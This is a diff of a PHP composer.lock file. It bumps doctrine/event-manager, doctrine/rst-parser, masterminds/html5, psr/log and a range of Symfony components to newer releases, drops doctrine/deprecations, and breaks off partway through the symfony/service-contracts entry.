-                "psr/log": "Allows logging deprecations via PSR-3 logger implementation"
-            },
-            "type": "library",
-            "autoload": {
-                "psr-4": {
-                    "Doctrine\\Deprecations\\": "lib/Doctrine/Deprecations"
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "description": "A small layer on top of trigger_error(E_USER_DEPRECATED) or PSR-3 logging with options to disable all deprecations or selectively for packages.",
-            "homepage": "https://www.doctrine-project.org/",
-            "support": {
-                "issues": "https://github.com/doctrine/deprecations/issues",
-                "source": "https://github.com/doctrine/deprecations/tree/v1.0.0"
-            },
-            "time": "2022-05-02T15:47:09+00:00"
-        },
         {
             "name": "doctrine/event-manager",
-            "version": "1.2.0",
+            "version": "2.0.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/event-manager.git",
-                "reference": "95aa4cb529f1e96576f3fda9f5705ada4056a520"
+                "reference": "b680156fa328f1dfd874fd48c7026c41570b9c6e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/95aa4cb529f1e96576f3fda9f5705ada4056a520",
-                "reference": "95aa4cb529f1e96576f3fda9f5705ada4056a520",
+                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/b680156fa328f1dfd874fd48c7026c41570b9c6e",
+                "reference": "b680156fa328f1dfd874fd48c7026c41570b9c6e",
                 "shasum": ""
             },
             "require": {
-                "doctrine/deprecations": "^0.5.3 || ^1",
-                "php": "^7.1 || ^8.0"
+                "php": "^8.1"
             },
             "conflict": {
                 "doctrine/common": "<2.9"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^9 || ^10",
-                "phpstan/phpstan": "~1.4.10 || ^1.8.8",
-                "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5",
-                "vimeo/psalm": "^4.24"
+                "doctrine/coding-standard": "^12",
+                "phpstan/phpstan": "^1.8.8",
+                "phpunit/phpunit": "^10.5",
+                "vimeo/psalm": "^5.24"
             },
             "type": "library",
             "autoload": {
@@ -123,7 +79,7 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/event-manager/issues",
-                "source": "https://github.com/doctrine/event-manager/tree/1.2.0"
+                "source": "https://github.com/doctrine/event-manager/tree/2.0.1"
             },
             "funding": [
                 {
@@ -139,42 +95,42 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-10-12T20:51:15+00:00"
+            "time": "2024-05-22T20:47:39+00:00"
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "0.5.3",
+            "version": "0.5.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "0b1d413d6bb27699ccec1151da6f617554d02c13"
+                "reference": "ca7f5f31f9ea58fde5aeffe0f7b8eb569e71a104"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/0b1d413d6bb27699ccec1151da6f617554d02c13",
-                "reference": "0b1d413d6bb27699ccec1151da6f617554d02c13",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/ca7f5f31f9ea58fde5aeffe0f7b8eb569e71a104",
+                "reference": "ca7f5f31f9ea58fde5aeffe0f7b8eb569e71a104",
                 "shasum": ""
             },
             "require": {
-                "doctrine/event-manager": "^1.0",
+                "doctrine/event-manager": "^1.0 || ^2.0",
                 "php": "^7.2 || ^8.0",
-                "symfony/filesystem": "^4.1 || ^5.0 || ^6.0",
-                "symfony/finder": "^4.1 || ^5.0 || ^6.0",
+                "symfony/filesystem": "^4.1 || ^5.0 || ^6.0 || ^7.0",
+                "symfony/finder": "^4.1 || ^5.0 || ^6.0 || ^7.0",
                 "symfony/polyfill-mbstring": "^1.0",
-                "symfony/string": "^5.3 || ^6.0",
-                "symfony/translation-contracts": "^1.1 || ^2.0",
+                "symfony/string": "^5.3 || ^6.0 || ^7.0",
+                "symfony/translation-contracts": "^1.1 || ^2.0 || ^3.0",
                 "twig/twig": "^2.9 || ^3.3"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^10.0",
+                "doctrine/coding-standard": "^11.0",
                 "gajus/dindent": "^2.0.2",
                 "phpstan/phpstan": "^1.9",
                 "phpstan/phpstan-deprecation-rules": "^1.0",
                 "phpstan/phpstan-phpunit": "^1.2",
                 "phpstan/phpstan-strict-rules": "^1.4",
                 "phpunit/phpunit": "^7.5 || ^8.0 || ^9.0",
-                "symfony/css-selector": "4.4 || ^5.2 || ^6.0",
-                "symfony/dom-crawler": "4.4 || ^5.2 || ^6.0"
+                "symfony/css-selector": "4.4 || ^5.2 || ^6.0 || ^7.0",
+                "symfony/dom-crawler": "4.4 || ^5.2 || ^6.0 || ^7.0"
             },
             "type": "library",
             "autoload": {
@@ -210,32 +166,30 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/0.5.3"
+                "source": "https://github.com/doctrine/rst-parser/tree/0.5.6"
             },
-            "time": "2022-12-29T16:24:52+00:00"
+            "time": "2024-01-14T11:02:23+00:00"
         },
         {
             "name": "masterminds/html5",
-            "version": "2.7.6",
+            "version": "2.9.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/Masterminds/html5-php.git",
-                "reference": "897eb517a343a2281f11bc5556d6548db7d93947"
+                "reference": "f5ac2c0b0a2eefca70b2ce32a5809992227e75a6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/897eb517a343a2281f11bc5556d6548db7d93947",
-                "reference": "897eb517a343a2281f11bc5556d6548db7d93947",
+                "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/f5ac2c0b0a2eefca70b2ce32a5809992227e75a6",
+                "reference": "f5ac2c0b0a2eefca70b2ce32a5809992227e75a6",
                 "shasum": ""
             },
             "require": {
-                "ext-ctype": "*",
                 "ext-dom": "*",
-                "ext-libxml": "*",
                 "php": ">=5.3.0"
             },
             "require-dev": {
-                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7"
+                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7 || ^8 || ^9"
             },
             "type": "library",
             "extra": {
@@ -279,9 +233,9 @@
             ],
             "support": {
                 "issues": "https://github.com/Masterminds/html5-php/issues",
-                "source": "https://github.com/Masterminds/html5-php/tree/2.7.6"
+                "source": "https://github.com/Masterminds/html5-php/tree/2.9.0"
             },
-            "time": "2022-08-18T16:18:26+00:00"
+            "time": "2024-03-31T07:05:07+00:00"
         },
         {
             "name": "psr/container",
@@ -338,16 +292,16 @@
         },
         {
             "name": "psr/log",
-            "version": "3.0.0",
+            "version": "3.0.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/log.git",
-                "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001"
+                "reference": "f16e1d5863e37f8d8c2a01719f5b34baa2b714d3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/log/zipball/fe5ea303b0887d5caefd3d431c3e61ad47037001",
-                "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/f16e1d5863e37f8d8c2a01719f5b34baa2b714d3",
+                "reference": "f16e1d5863e37f8d8c2a01719f5b34baa2b714d3",
                 "shasum": ""
             },
             "require": {
@@ -382,9 +336,9 @@
                 "psr-3"
             ],
             "support": {
-                "source": "https://github.com/php-fig/log/tree/3.0.0"
+                "source": "https://github.com/php-fig/log/tree/3.0.2"
             },
-            "time": "2021-07-14T16:46:02+00:00"
+            "time": "2024-09-11T13:17:53+00:00"
         },
         {
             "name": "scrivo/highlight.php",
@@ -520,24 +474,24 @@
         },
         {
             "name": "symfony/console",
-            "version": "v6.2.8",
+            "version": "v6.4.17",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b"
+                "reference": "799445db3f15768ecc382ac5699e6da0520a0a04"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/3582d68a64a86ec25240aaa521ec8bc2342b369b",
-                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b",
+                "url": "https://api.github.com/repos/symfony/console/zipball/799445db3f15768ecc382ac5699e6da0520a0a04",
+                "reference": "799445db3f15768ecc382ac5699e6da0520a0a04",
                 "shasum": ""
             },
             "require": {
                 "php": ">=8.1",
-                "symfony/deprecation-contracts": "^2.1|^3",
+                "symfony/deprecation-contracts": "^2.5|^3",
                 "symfony/polyfill-mbstring": "~1.0",
-                "symfony/service-contracts": "^1.1|^2|^3",
-                "symfony/string": "^5.4|^6.0"
+                "symfony/service-contracts": "^2.5|^3",
+                "symfony/string": "^5.4|^6.0|^7.0"
             },
             "conflict": {
                 "symfony/dependency-injection": "<5.4",
@@ -551,18 +505,16 @@
             },
             "require-dev": {
                 "psr/log": "^1|^2|^3",
-                "symfony/config": "^5.4|^6.0",
-                "symfony/dependency-injection": "^5.4|^6.0",
-                "symfony/event-dispatcher": "^5.4|^6.0",
-                "symfony/lock": "^5.4|^6.0",
-                "symfony/process": "^5.4|^6.0",
-                "symfony/var-dumper": "^5.4|^6.0"
-            },
-            "suggest": {
-                "psr/log": "For using the console logger",
-                "symfony/event-dispatcher": "",
-                "symfony/lock": "",
-                "symfony/process": ""
+                "symfony/config": "^5.4|^6.0|^7.0",
+                "symfony/dependency-injection": "^5.4|^6.0|^7.0",
+                "symfony/event-dispatcher": "^5.4|^6.0|^7.0",
+                "symfony/http-foundation": "^6.4|^7.0",
+                "symfony/http-kernel": "^6.4|^7.0",
+                "symfony/lock": "^5.4|^6.0|^7.0",
+                "symfony/messenger": "^5.4|^6.0|^7.0",
+                "symfony/process": "^5.4|^6.0|^7.0",
+                "symfony/stopwatch": "^5.4|^6.0|^7.0",
+                "symfony/var-dumper": "^5.4|^6.0|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -596,7 +548,7 @@
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v6.2.8"
+                "source": "https://github.com/symfony/console/tree/v6.4.17"
             },
             "funding": [
                 {
@@ -612,20 +564,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-29T21:42:15+00:00"
+            "time": "2024-12-07T12:07:30+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v6.2.7",
+            "version": "v6.4.13",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0"
+                "reference": "cb23e97813c5837a041b73a6d63a9ddff0778f5e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
-                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/cb23e97813c5837a041b73a6d63a9ddff0778f5e",
+                "reference": "cb23e97813c5837a041b73a6d63a9ddff0778f5e",
                 "shasum": ""
             },
             "require": {
@@ -661,7 +613,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v6.2.7"
+                "source": "https://github.com/symfony/css-selector/tree/v6.4.13"
             },
             "funding": [
                 {
@@ -677,20 +629,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-02-14T08:44:56+00:00"
+            "time": "2024-09-25T14:18:03+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
-            "version": "v3.2.1",
+            "version": "v3.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/deprecation-contracts.git",
-                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e"
+                "reference": "74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
-                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6",
+                "reference": "74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6",
                 "shasum": ""
             },
             "require": {
@@ -698,12 +650,12 @@
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "3.3-dev"
-                },
                 "thanks": {
-                    "name": "symfony/contracts",
-                    "url": "https://github.com/symfony/contracts"
+                    "url": "https://github.com/symfony/contracts",
+                    "name": "symfony/contracts"
+                },
+                "branch-alias": {
+                    "dev-main": "3.5-dev"
                 }
             },
             "autoload": {
@@ -728,7 +680,7 @@
             "description": "A generic function and convention to trigger deprecation notices",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.1"
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.5.1"
             },
             "funding": [
                 {
@@ -744,20 +696,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-01T10:25:55+00:00"
+            "time": "2024-09-25T14:20:29+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v6.2.8",
+            "version": "v6.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f"
+                "reference": "19073e3e0bb50cbc1cb286077069b3107085206f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/0e0d0f709997ad1224ef22bb0a28287c44b7840f",
-                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/19073e3e0bb50cbc1cb286077069b3107085206f",
+                "reference": "19073e3e0bb50cbc1cb286077069b3107085206f",
                 "shasum": ""
             },
             "require": {
@@ -767,10 +719,7 @@
                 "symfony/polyfill-mbstring": "~1.0"
             },
             "require-dev": {
-                "symfony/css-selector": "^5.4|^6.0"
-            },
-            "suggest": {
-                "symfony/css-selector": ""
+                "symfony/css-selector": "^5.4|^6.0|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -798,7 +747,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.8"
+                "source": "https://github.com/symfony/dom-crawler/tree/v6.4.19"
             },
             "funding": [
                 {
@@ -814,20 +763,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-09T16:20:02+00:00"
+            "time": "2025-02-14T17:58:34+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v6.2.7",
+            "version": "v6.4.13",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "82b6c62b959f642d000456f08c6d219d749215b3"
+                "reference": "4856c9cf585d5a0313d8d35afd681a526f038dd3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/82b6c62b959f642d000456f08c6d219d749215b3",
-                "reference": "82b6c62b959f642d000456f08c6d219d749215b3",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/4856c9cf585d5a0313d8d35afd681a526f038dd3",
+                "reference": "4856c9cf585d5a0313d8d35afd681a526f038dd3",
                 "shasum": ""
             },
             "require": {
@@ -835,6 +784,9 @@
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-mbstring": "~1.8"
             },
+            "require-dev": {
+                "symfony/process": "^5.4|^6.4|^7.0"
+            },
             "type": "library",
             "autoload": {
                 "psr-4": {
@@ -861,7 +813,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v6.2.7"
+                "source": "https://github.com/symfony/filesystem/tree/v6.4.13"
             },
             "funding": [
                 {
@@ -877,27 +829,27 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-02-14T08:44:56+00:00"
+            "time": "2024-10-25T15:07:50+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v6.2.7",
+            "version": "v6.4.17",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb"
+                "reference": "1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/20808dc6631aecafbe67c186af5dcb370be3a0eb",
-                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7",
+                "reference": "1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7",
                 "shasum": ""
             },
             "require": {
                 "php": ">=8.1"
             },
             "require-dev": {
-                "symfony/filesystem": "^6.0"
+                "symfony/filesystem": "^6.0|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -925,7 +877,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v6.2.7"
+                "source": "https://github.com/symfony/finder/tree/v6.4.17"
             },
             "funding": [
                 {
@@ -941,28 +893,32 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-02-16T09:57:23+00:00"
+            "time": "2024-12-29T13:51:37+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v6.2.8",
+            "version": "v6.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477"
+                "reference": "3294a433fc9d12ae58128174896b5b1822c28dad"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/66391ba3a8862c560e1d9134c96d9bd2a619b477",
-                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/3294a433fc9d12ae58128174896b5b1822c28dad",
+                "reference": "3294a433fc9d12ae58128174896b5b1822c28dad",
                 "shasum": ""
             },
             "require": {
                 "php": ">=8.1",
                 "psr/log": "^1|^2|^3",
-                "symfony/deprecation-contracts": "^2.1|^3",
-                "symfony/http-client-contracts": "^3",
-                "symfony/service-contracts": "^1.0|^2|^3"
+                "symfony/deprecation-contracts": "^2.5|^3",
+                "symfony/http-client-contracts": "~3.4.4|^3.5.2",
+                "symfony/service-contracts": "^2.5|^3"
+            },
+            "conflict": {
+                "php-http/discovery": "<1.15",
+                "symfony/http-foundation": "<6.3"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
@@ -975,14 +931,15 @@
                 "amphp/http-client": "^4.2.1",
                 "amphp/http-tunnel": "^1.0",
                 "amphp/socket": "^1.1",
-                "guzzlehttp/promises": "^1.4",
+                "guzzlehttp/promises": "^1.4|^2.0",
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^5.4|^6.0",
-                "symfony/http-kernel": "^5.4|^6.0",
-                "symfony/process": "^5.4|^6.0",
-                "symfony/stopwatch": "^5.4|^6.0"
+                "symfony/dependency-injection": "^5.4|^6.0|^7.0",
+                "symfony/http-kernel": "^5.4|^6.0|^7.0",
+                "symfony/messenger": "^5.4|^6.0|^7.0",
+                "symfony/process": "^5.4|^6.0|^7.0",
+                "symfony/stopwatch": "^5.4|^6.0|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -1013,7 +970,7 @@
                 "http"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v6.2.8"
+                "source": "https://github.com/symfony/http-client/tree/v6.4.19"
             },
             "funding": [
                 {
@@ -1029,36 +986,33 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-31T09:14:44+00:00"
+            "time": "2025-02-13T09:55:13+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v3.2.1",
+            "version": "v3.5.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b"
+                "reference": "ee8d807ab20fcb51267fdace50fbe3494c31e645"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
-                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/ee8d807ab20fcb51267fdace50fbe3494c31e645",
+                "reference": "ee8d807ab20fcb51267fdace50fbe3494c31e645",
                 "shasum": ""
             },
             "require": {
                 "php": ">=8.1"
             },
-            "suggest": {
-                "symfony/http-client-implementation": ""
-            },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "3.3-dev"
-                },
                 "thanks": {
-                    "name": "symfony/contracts",
-                    "url": "https://github.com/symfony/contracts"
+                    "url": "https://github.com/symfony/contracts",
+                    "name": "symfony/contracts"
+                },
+                "branch-alias": {
+                    "dev-main": "3.5-dev"
                 }
             },
             "autoload": {
@@ -1094,7 +1048,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.1"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v3.5.2"
             },
             "funding": [
                 {
@@ -1110,24 +1064,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-01T10:32:47+00:00"
+            "time": "2024-12-07T08:49:48+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.27.0",
+            "version": "v1.31.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "5bbc823adecdae860bb64756d639ecfec17b050a"
+                "reference": "a3cc8b044a6ea513310cbd48ef7333b384945638"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/5bbc823adecdae860bb64756d639ecfec17b050a",
-                "reference": "5bbc823adecdae860bb64756d639ecfec17b050a",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/a3cc8b044a6ea513310cbd48ef7333b384945638",
+                "reference": "a3cc8b044a6ea513310cbd48ef7333b384945638",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=7.2"
             },
             "provide": {
                 "ext-ctype": "*"
@@ -1137,12 +1091,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "1.27-dev"
-                },
                 "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
+                    "url": "https://github.com/symfony/polyfill",
+                    "name": "symfony/polyfill"
                 }
             },
             "autoload": {
@@ -1176,7 +1127,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.27.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.31.0"
             },
             "funding": [
                 {
@@ -1192,36 +1143,33 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-03T14:55:06+00:00"
+            "time": "2024-09-09T11:45:10+00:00"
         },
         {
             "name": "symfony/polyfill-intl-grapheme",
-            "version": "v1.27.0",
+            "version": "v1.31.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
-                "reference": "511a08c03c1960e08a883f4cffcacd219b758354"
+                "reference": "b9123926e3b7bc2f98c02ad54f6a4b02b91a8abe"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/511a08c03c1960e08a883f4cffcacd219b758354",
-                "reference": "511a08c03c1960e08a883f4cffcacd219b758354",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/b9123926e3b7bc2f98c02ad54f6a4b02b91a8abe",
+                "reference": "b9123926e3b7bc2f98c02ad54f6a4b02b91a8abe",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=7.2"
             },
             "suggest": {
                 "ext-intl": "For best performance"
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "1.27-dev"
-                },
                 "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
+                    "url": "https://github.com/symfony/polyfill",
+                    "name": "symfony/polyfill"
                 }
             },
             "autoload": {
@@ -1257,7 +1205,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.27.0"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.31.0"
             },
             "funding": [
                 {
@@ -1273,36 +1221,33 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-03T14:55:06+00:00"
+            "time": "2024-09-09T11:45:10+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.27.0",
+            "version": "v1.31.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6"
+                "reference": "3833d7255cc303546435cb650316bff708a1c75c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/19bd1e4fcd5b91116f14d8533c57831ed00571b6",
-                "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/3833d7255cc303546435cb650316bff708a1c75c",
+                "reference": "3833d7255cc303546435cb650316bff708a1c75c",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=7.2"
             },
             "suggest": {
                 "ext-intl": "For best performance"
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "1.27-dev"
-                },
                 "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
+                    "url": "https://github.com/symfony/polyfill",
+                    "name": "symfony/polyfill"
                 }
             },
             "autoload": {
@@ -1341,7 +1286,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.27.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.31.0"
             },
             "funding": [
                 {
@@ -1357,24 +1302,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-03T14:55:06+00:00"
+            "time": "2024-09-09T11:45:10+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.27.0",
+            "version": "v1.31.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "8ad114f6b39e2c98a8b0e3bd907732c207c2b534"
+                "reference": "85181ba99b2345b0ef10ce42ecac37612d9fd341"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/8ad114f6b39e2c98a8b0e3bd907732c207c2b534",
-                "reference": "8ad114f6b39e2c98a8b0e3bd907732c207c2b534",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/85181ba99b2345b0ef10ce42ecac37612d9fd341",
+                "reference": "85181ba99b2345b0ef10ce42ecac37612d9fd341",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=7.2"
             },
             "provide": {
                 "ext-mbstring": "*"
@@ -1384,12 +1329,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "1.27-dev"
-                },
                 "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
+                    "url": "https://github.com/symfony/polyfill",
+                    "name": "symfony/polyfill"
                 }
             },
             "autoload": {
@@ -1424,7 +1366,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.27.0"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.31.0"
             },
             "funding": [
                 {
@@ -1440,20 +1382,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-03T14:55:06+00:00"
+            "time": "2024-09-09T11:45:10+00:00"
         },
         {
             "name": "symfony/process",
-            "version": "v6.2.8",
+            "version": "v6.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416"
+                "reference": "7a1c12e87b08ec9c97abdd188c9b3f5a40e37fc3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/75ed64103df4f6615e15a7fe38b8111099f47416",
-                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416",
+                "url": "https://api.github.com/repos/symfony/process/zipball/7a1c12e87b08ec9c97abdd188c9b3f5a40e37fc3",
+                "reference": "7a1c12e87b08ec9c97abdd188c9b3f5a40e37fc3",
                 "shasum": ""
             },
             "require": {
@@ -1485,7 +1427,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v6.2.8"
+                "source": "https://github.com/symfony/process/tree/v6.4.19"
             },
             "funding": [
                 {
@@ -1501,40 +1443,38 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-09T16:20:02+00:00"
+            "time": "2025-02-04T13:35:48+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v3.2.1",
+            "version": "v3.5.1",
             "source": {
                 "type": "git",
